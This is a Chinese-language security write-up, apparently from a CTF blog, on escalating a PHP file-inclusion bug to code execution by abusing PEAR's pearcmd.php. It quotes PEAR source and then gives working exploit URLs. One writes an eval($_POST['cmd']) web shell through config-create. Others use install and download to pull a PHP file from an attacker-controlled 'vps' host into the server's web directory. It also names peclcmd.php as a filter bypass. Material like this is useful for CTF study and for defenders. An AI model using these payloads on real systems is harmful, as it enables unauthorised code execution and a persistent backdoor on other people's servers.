环境条件

有两个条件

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

并且php.ini当中 register_argc_argv=On需要开启

准备

1
2
<?php
include($_GET['file']);

pear会在pearcmd.php获取命令行参数

1
2
3
4
5
6
7
8
9
PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}

而pear获取命令行参数在readPHPArgv()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

这里会先尝试$argv,如果不存在再尝试$_SERVER['argv'],后者我们可通过query-string控制。也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数

利用

可以看到参数有这么多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file
config-get Show One Setting
config-help Show Information About Setting
config-set Change Setting
config-show Show All Settings
convert Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff Run a "cvs diff" for all files in a package
cvstag Set CVS Release Tag
download Download Package
download-all Downloads each available package from the default channel
info Display information about a package
install Install Package
list List Installed Packages In The Default Channel
list-all List All Packages
list-channels List Available Channels
list-files List Files In Installed Package
list-upgrades List Available Upgrades
login Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm Builds an RPM spec file from a PEAR package
package Build Package
package-dependencies Show package dependencies
package-validate Validate Package Consistency
pickle Build PECL Package
remote-info Information About Remote Packages
remote-list List Remote Packages
run-scripts Run Post-Install Scripts bundled with a package
run-tests Run Regression Tests
search Search remote package database
shell-test Shell Script Test
sign Sign a package distribution file
svntag Set SVN Release Tag
uninstall Un-install Package
update-channels Update the Channel List
upgrade Upgrade Package
upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]

可以看见这里面有三个可能利用的参数,一个是p牛文中提到的config-create,一个install还有用过download

config-create

多加一个die,防止多个输出

1
/?file=/www/server/php/52/lib/php/pearcmd.php&+config-create+/<?=@eval($_POST['cmd']);die()?>+/tmp/test.php 

install

1
/?file=/www/server/php/52/lib/php/peclcmd.php&+install+http://vps/1.php

文件就会被下载到/tmp/pear/download/1.php,回显能看到

download

个人觉得这个比上面install舒服点,这个直接下载到web目录了,不用提前知道web目录具体路径

1
/?file=/www/server/php/52/lib/php/peclcmd.php&+download+http://vps/1.php

闲话

如果pearcmd关键词被ban怎么半,其实可以用peclcmd.php作为平替,在这个php文件当中其实就是引入了pearcmd.php

1
2
3
4
5
6
7
8
9
if ('/www/server/php/52/lib/php' != '@'.'include_path'.'@') {
ini_set('include_path', '/www/server/php/52/lib/php');
$raw = false;
} else {
// this is a raw, uninstalled pear, either a cvs checkout, or php distro
$raw = true;
}
define('PEAR_RUNTYPE', 'pecl');
require_once 'pearcmd.php';

参考文章

https://tttang.com/archive/1312/